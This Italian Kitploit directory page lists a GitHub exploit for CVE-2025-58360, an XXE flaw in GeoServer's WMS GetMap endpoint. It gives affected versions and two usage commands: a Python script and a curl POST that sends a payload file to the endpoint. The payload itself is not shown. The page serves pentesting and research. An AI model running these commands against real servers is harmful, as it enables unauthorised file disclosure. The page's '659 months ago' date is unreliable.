Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-58360 — XXE attraverso un endpoint specifico /geoserver/wms operation GetMap - Geoserver | Kitploit
Strumenti/GitHubGitHub/quyenheu/cve-2025-58360
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubquyenheu/cve-2025-58360

CVE-2025-58360

XXE attraverso un endpoint specifico /geoserver/wms operation GetMap - Geoserver

Vedi Repository
659 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-58360

Dalla versione 2.26.0 fino alla versione 2.26.2 esclusa e nelle versioni precedenti la 2.25.6, è stata identificata una vulnerabilità XML External Entity (XXE). L'applicazione accetta input XML tramite un endpoint specifico /geoserver/wms per l'operazione GetMap

image

Sfruttamento1:

python3 CVE-2025-58360 -u http://example.com

Sfruttamento2:

curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png
Scarica lo strumento